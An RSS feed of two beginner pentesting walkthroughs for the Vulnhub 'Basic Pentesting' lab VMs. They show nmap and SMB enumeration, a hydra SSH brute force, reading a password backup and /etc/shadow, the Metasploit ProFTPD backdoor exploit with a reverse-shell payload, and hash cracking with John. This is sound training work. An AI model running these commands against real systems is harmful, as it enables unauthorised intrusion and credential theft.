<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Xploit Darshan on Medium]]></title>
        <description><![CDATA[Stories by Xploit Darshan on Medium]]></description>
        <link>https://medium.com/@xploit-darshan?source=rss-a86fa8e908d1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*h0uNqLy_DzmH36yY</url>
            <title>Stories by Xploit Darshan on Medium</title>
            <link>https://medium.com/@xploit-darshan?source=rss-a86fa8e908d1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 04:12:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@xploit-darshan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Basic Pentesting 2 Walkthrough : Vulnhub | By Xploit Darshan]]></title>
            <link>https://xploit-darshan.medium.com/basic-pentesting-2-walkthrough-vulnhub-by-xploit-darshan-7358f075011e?source=rss-a86fa8e908d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/7358f075011e</guid>
            <dc:creator><![CDATA[Xploit Darshan]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 17:32:35 GMT</pubDate>
            <atom:updated>2024-03-02T17:32:35.757Z</atom:updated>
            <content:encoded><![CDATA[<h3>Basic Pentesting 2 Walkthrough : Vulnhub | By <a href="https://medium.com/u/a86fa8e908d1">Xploit Darshan</a></h3><h4>Basic Pentesting 2 is an intentionally vulnerable machine intended for hackers starting their careers to sharpen their skills.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfUwqUMT6qvKKtUQ4XuT2g.jpeg" /></figure><p>So, without any delay, let’s get started.</p><blockquote><strong>Virtual Machine’s Author’s Note</strong></blockquote><blockquote>Description</blockquote><blockquote>Basic Pentesting 2 is a <strong>boot2root</strong> VM and is a continuation of the Basic Pentesting series. This series is designed to help newcomers to penetration testing develop pen-testing skills and have fun exploring part of the offensive side of security.</blockquote><blockquote><strong>VirtualBox</strong> is the recommended platform for this challenge (though it should also work with VMware — however, I haven’t tested that).</blockquote><blockquote>This VM is a moderate step up in difficulty from the first entry in this series. If you’ve solved the first entry and have tried a few other beginner-oriented challenges, this VM should be a good next step. Once again, this challenge contains multiple initial exploitation vectors and privilege escalation vulnerabilities.</blockquote><blockquote>Your goal is to remotely attack the VM, gain root privileges, and read the flag located at /root/flag.txt.</blockquote><h4>Setting Up VM</h4><p><strong>Steps for downloading:</strong></p><blockquote><em>Click on the given link it will redirect you to the </em><strong><em>vulnhub</em></strong><em> page where you can download the machine.</em></blockquote><blockquote><em>After downloading the file ,click on the file it will automatically open in virtual box (which i am using) or right click on the file and in the options use open with and select virtual box or the virtual environment your using.</em></blockquote><blockquote><em>After setting up the requirements ,Give </em><strong><em>Finish</em></strong></blockquote><blockquote><em>Go to Settings and click on Network and and change the settings to </em><strong><em>Host only Adapter </em></strong><em>and in the name chose </em><strong><em>vboxnet0</em></strong><em> . if you can’t see the option as vboxnet0 you should create one</em></blockquote><blockquote><em>Go to tools in virtualbox and click on host only adapter and Click on </em><strong><em>create .</em></strong><em>now its created you can go to settings and network and do select the vboxnet0.</em></blockquote><blockquote><em>If your using kali linux in virtual box then you should use NAT Network in the Network settings .if you don’t see the name there .Then you should create one using the above step by selecting NAT Network and creating a new NAT network .You should keep the vulnhub machine in the same NAT Network</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*zmE_Rd6oTqmAAXk91bW-8g.png" /><figcaption><strong>basic2 machine</strong></figcaption></figure><h4>Reconnaissance</h4><p>For launching any attack, you need to know the address of your victim machine. Let’s use <strong><em>arp-scan</em></strong><em> </em>for this purpose.</p><pre><strong>Sudo arp-scan -l</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*srlgFbryVoNaONhZ0i4dGQ.png" /><figcaption>arp scan</figcaption></figure><p>Let’s use <strong><em>nmap</em></strong> to gather some information.</p><pre><strong>nmap -A -p- 10.0.2.9</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNO6oTqGFV5DbU6zgSLrMw.png" /><figcaption>nmap scan</figcaption></figure><p>Here, I use <strong>-A </strong>for aggressive scanning<strong> <em>-p-</em></strong> flag which scans for all 65535 TCP ports. It gives back all the <strong>open TCP</strong> ports and their services.</p><p>From this we can see the following ports and services:</p><blockquote><em>port 22/tcp — SSH — (OpenSSH 7.2p2 Ubuntu)</em></blockquote><blockquote><em>port 80/tcp — HTTP — (Apache httpd 2.4.18)</em></blockquote><blockquote><em>port 445/tcp — Netbios-ssn — (samba smbd 4.3.11-Ubuntu)</em></blockquote><h4>Vulnerability Analysis</h4><p>From here, we can clearly see that the victim machine is using <strong><em>smb</em> protocol</strong> which is attackers’ favorite. Because if you look into it, you will find plenty of vulnerabilities and their exploitation all over the internet.</p><p>Let’s use <strong><em>smbclient</em></strong> and try to list the services running on the VM.</p><pre><strong>smbclient -L 10.0.2.9</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*x_bIkpLFlzuCMQoqrUrJ7Q.png" /><figcaption>smbclient</figcaption></figure><p>The output indicates that anonymous login is allowed. We will look again into it in the exploitation phase.</p><p>I have tried to find vulnerabilities in other services with no luck. Then, I tried to enumerate web application. You can use any tool of your liking. I use <strong>nikto</strong> here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZEQF1i0sDjCIOHHU71IoNg.png" /><figcaption>nikto scanning</figcaption></figure><p>We found a directory named <strong>development</strong> after scanning<br>I got a valid URL<a href="http://192.168.56.101/development/"> <strong>https://10.0.2.9/development/</strong></a><strong><br></strong>If we see this in our browser, we have two text files named ‘<strong>dev.txt</strong>’ and ‘<strong>j.txt</strong>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*hjEkp6B7XOgIez5sU4odTQ.png" /><figcaption><strong>/Development Directory</strong></figcaption></figure><p>They appear to be some kind of notes. After reading both found some juicy information we got know that</p><p>K, the admin or a person with some authority is telling the J that their password is <strong>weak</strong>. We can use this info for exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTNluj2HNG1_44mmjQbG9Q.png" /><figcaption><strong>dev.txt</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*-oKr4TQuWv8BqbxvNe6nMg.png" /><figcaption><strong>j.txt</strong></figcaption></figure><h4>Exploitation</h4><p>Let’s first try to exploit <em>smba</em> service.</p><pre><strong>smbclient //10.0.2.9/Anonymous</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tzYW1TrQ43PiIK5bBDxzQ.png" /><figcaption><strong>SMB Anonymous login</strong></figcaption></figure><p>As you can see, it allowed us anonymous login without any password (when asked for password just hit enter). Apart from able to read that <strong><em>staff.txt</em></strong><em>, </em>I was unable to do any other stuff. But this file gives us two user names <strong><em>Kay </em>and <em>Jan.</em></strong></p><p>As from the previous screenshot, we remember user J has a weak password. What if J is Jan. Let’s use some brute-force. I am using <strong><em>hydra</em></strong><em> </em>for this purpose.</p><blockquote><strong>Hydra</strong> is designed to crack passwords for various network services, including telnet, FTP, HTTP, HTTPS, SMB, and databases, among others.</blockquote><pre><strong>hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.0.2.9 ssh</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjrEBuOGehtvhdJqy6ox6Q.png" /><figcaption><strong>Hydra ssh crack</strong></figcaption></figure><p>we’ve successfully cracked the password of <strong>“jan”</strong>,</p><p>we got to know the user name and password .<br>USERNAME: <strong>jan</strong><br>PASSWORD: <strong>armando</strong></p><p>now let’s try to do login into the target ssh service with these credentials.</p><pre><strong>ssh jan@10.0.2.9</strong></pre><p>Now we have successfully entered the target.</p><h4>Privilege Escalation</h4><p>Jan isn’t in the sudo user. Let’s try to find another user’s credentials.</p><p>After some digging around, I spotted <em>pass.bak</em> file in Kay’s home directory. Then I try to view its content using <strong><em>cat</em></strong> and <strong><em>nano</em></strong> command, but no luck. Afterward, when I tried it with <strong><em>vim</em></strong>, voila, it allowed me to read the password in plain text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*aHXVxTdNYdTpJ51RaWcZIg.png" /><figcaption><strong>jan ssh</strong></figcaption></figure><pre><strong>vim pass.bak</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*l4Ga5Pj9gEfMK4a47wgWLg.png" /><figcaption><strong>vim editor</strong></figcaption></figure><p>By using this password, I was able to do <strong><em>ssh</em></strong><em> </em>login as kay</p><pre><strong>su kay<br><br>Password: heresareallystrongpasswordthatfollowsthepasswordpolicy$$<br><br>id<br><br>whoami</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*JPrgGzWw5ViWS4mN6pBXjg.png" /><figcaption><strong>kay user</strong></figcaption></figure><p>now lets get into the final step <strong>Getting the flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6JYMTB60132BpJLoD2I2ew.png" /><figcaption><strong>flag.txt</strong></figcaption></figure><p>Hurray! we got the flag</p><p>That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7358f075011e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting 1 Walkthrough : Vulnhub | By Xploit Darshan]]></title>
            <link>https://xploit-darshan.medium.com/basic-pentesting-1-walkthrough-vulnhub-by-xploit-darshan-3aab6137bbc3?source=rss-a86fa8e908d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3aab6137bbc3</guid>
            <dc:creator><![CDATA[Xploit Darshan]]></dc:creator>
            <pubDate>Fri, 01 Mar 2024 06:48:01 GMT</pubDate>
            <atom:updated>2024-03-01T06:48:01.300Z</atom:updated>
            <content:encoded><![CDATA[<h3>Basic Pentesting 1 Walkthrough : Vulnhub | By <a href="https://medium.com/u/a86fa8e908d1">Xploit Darshan</a></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*fAUIR9EDV8zxG8d1kLK0wA.jpeg" /><figcaption>Basic Pentesting 1 | vulnhub</figcaption></figure><p>This Walkthrough is on <strong>Basic Pentesting: 1 Vulnhub Machine</strong> made by <a href="https://www.vulnhub.com/author/josiah-pierce,569/"><strong>Josiah Pierce</strong></a>. This is a small boot2root VM. It contains multiple remote vulnerabilities and multiple privilege escalation vectors.</p><p>This VM is specifically intended for <strong>newcomers</strong> to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right. <strong>Your goal is to remotely attack the VM and gain root privileges.</strong></p><p>For more details or for downloading the machine go<strong> </strong><a href="https://www.vulnhub.com/entry/basic-pentesting-1,216"><strong>here</strong></a>.</p><p><strong>Steps for downloading:</strong></p><blockquote>Click on the given link it will redirect you to the <strong>vulnhub</strong> page where you can download the machine.</blockquote><blockquote>After downloading the file ,click on the file it will automatically open in virtual box (which i am using) or right click on the file and in the options use open with and select virtual box or the virtual environment your using.</blockquote><blockquote>After setting up the requirements ,Give <strong>Finish</strong></blockquote><blockquote>Go to Settings and click on Network and and change the settings to <strong>Host only Adapter </strong>and in the name chose <strong>vboxnet0</strong> . if you can’t see the option as vboxnet0 you should create one</blockquote><blockquote>Go to tools in virtualbox and click on host only adapter and Click on <strong>create .</strong>now its created you can go to settings and network and do select the vboxnet0.</blockquote><blockquote>If your using kali linux in virtual box then you should use NAT Network in the Network settings .if you don’t see the name there .Then you should create one using the above step by selecting NAT Network and creating a new NAT network .You should keep the vulnhub machine in the same NAT Network</blockquote><p>After changing the settings now click on <strong>start</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*whiARBxiuflE3CzfFSkd-w.png" /><figcaption>marlinspike’s Machine</figcaption></figure><p>After downloading and setting up the machine . we need to know the ip of the target machine which is in our network so we use <strong>ifconfig </strong>to find out in which ip we are in so we can use ping scan to find out target ip .</p><p>I started scanning the entire network using <strong>nmap</strong> tool which is pre-installed in kali linux, and got few machines running in this network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*fJPitujsASyH42zk2L8fVg.png" /><figcaption><strong>Finding the target</strong></figcaption></figure><p>After checking out each and every IP using <strong>nmap -O </strong>which is for OS detection i got know my target IP is 10.0.2.8<strong>. </strong>I used nmap to find an open port of the target using</p><pre><strong>nmap -A -sV -P -T4 10.0.2.8</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*ewCtCLcTy5xsdMg_v8a07g.png" /><figcaption><strong>nmap scan</strong></figcaption></figure><p>From this we can see the following ports and services:</p><blockquote><strong><em>port 21/tcp — FTP — (ProFTPD 1.3.3c)</em></strong></blockquote><blockquote><strong><em>port 22/tcp — SSH — (OpenSSH 7.2p2 Ubuntu)</em></strong></blockquote><blockquote><strong><em>port 80/tcp — HTTP — (Apache httpd 2.4.18)</em></strong></blockquote><p>we have found 3 open ports that run services FTP, SSH, and HTTP on the target.</p><p>I chose the <strong>open port 21 FTP service</strong> to find a way to get root access to this target machine.</p><p>I used <strong>searchsploi</strong>t commond to search <strong>ProFTPD 1.3.3c</strong> on <strong>ExploitDB.</strong></p><p><em>[Searchsploit is a command-line search tool for Exploit-DB, which also allows you to bring a copy of Exploit-DB with us.]</em><br><em>[ProFTPD is an FTP server for Unix/Linux servers, very configurable and very effective, it is free &amp; open-sourced, released under the GPL license.]</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*oxHCENcK4nwaPY4Kf0BCWQ.png" /><figcaption><strong>searchsploit</strong></figcaption></figure><p>Then I found two exploits for that. ProFTPD 1.3.3c was compromised by a backdoor, a backdoor is a malicious code behind the source code. And this Backdoor Command Execution vulnerability can be exploited by Metasploit-framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dKbhyYe-7hjo-tYLJDzyRA.png" /><figcaption><strong>Metasoploit</strong></figcaption></figure><p>In the Metasploit Console, I searched the<strong> proftpd </strong>to find an exploit for that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gcIJtlf2c5ZXr6vCV9_pSA.png" /></figure><p>So there are several exploits have to this <strong>proftpd</strong>. And I used <strong>exploit/unix/ftp/proftpd_133c_backdoor</strong> to attack the target machine.</p><p>And now I am going to look at the options of this exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_EaTi2llre_3o5hduM9OWA.png" /><figcaption><strong>options</strong></figcaption></figure><p>So, now I have to specify the <strong>RHOST </strong>[ IP Address of Target Machine ]</p><pre><strong>set rhost 10.0.2.8<br>show payloads</strong></pre><p>so there are various PAYLOADS and I chose <strong>cmd/unix/reverse</strong> payload to exploit this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FlPqTdtZpK_k1VPr0Pba4Q.png" /><figcaption><strong>Payload set</strong></figcaption></figure><p>After the set payload, I have to specify the LHOST [ IP of my Kali Machine ]</p><pre><strong>set lhost 10.0.2.15</strong></pre><p>Ok cool, all of the setups have been done. Now I have to <strong>exploit</strong> this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H20WYDNvyZp2fL4zMkqVrQ.png" /><figcaption><strong>Exploiting…</strong></figcaption></figure><p>Right, Now I have <strong>root </strong>access to the target machine. Now I am going to find the password of <strong>marlinspike </strong>forth.</p><p>Now I opened<strong> python spawned shell</strong></p><pre><strong>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</strong></pre><p><em>Interactive Terminal Spawned via Pythonedit Identifies when a terminal is spawned via Python. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host.</em></p><p>Then I am looking the <strong>shadow file</strong></p><pre><strong>cat /etc/shadow</strong></pre><p><em>The shadow password file is a system file in which encryption user passwords are stored so that they aren’t available to people who try to break into the system.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRCyksErthte5AGGHsx3Uw.png" /><figcaption><strong>Shadow File</strong></figcaption></figure><p>Now I copied this to a new file to crack this <strong>hash marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::</strong></p><p>and I used <strong>John The Ripper</strong> to crack this hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*b7ySvJoiR-zugXYWusIJVA.png" /><figcaption><strong>Crack the hash</strong></figcaption></figure><p>Finally, I found the password for the <strong>marlinspike </strong>and it is <strong>marlinspike</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*iDQLHS_Xe_Hj_NRp.png" /></figure><p>Finally, I get the root access and find the password of the <strong>marlinspike </strong>user of this box. I used <strong>open port 21/tcp — FTP — (ProFTPD 1.3.3c) </strong>to exploit this Basic Pentester:1 Box in Vulnhub.</p><h4>Overall, this is a fun task. It took a while for me to find out details, but it provided me with an excellent introduction to the basic tests of penetration and to make sure my home laboratory worked well.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3aab6137bbc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>